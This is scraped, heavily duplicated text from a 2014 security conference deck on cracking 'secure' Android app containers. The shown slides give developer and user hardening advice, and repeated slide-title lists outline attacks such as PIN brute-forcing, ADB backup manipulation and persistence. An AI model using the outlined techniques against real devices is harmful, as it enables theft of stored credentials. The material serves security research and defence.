Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 191: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 192: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 193: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 194: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 195: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

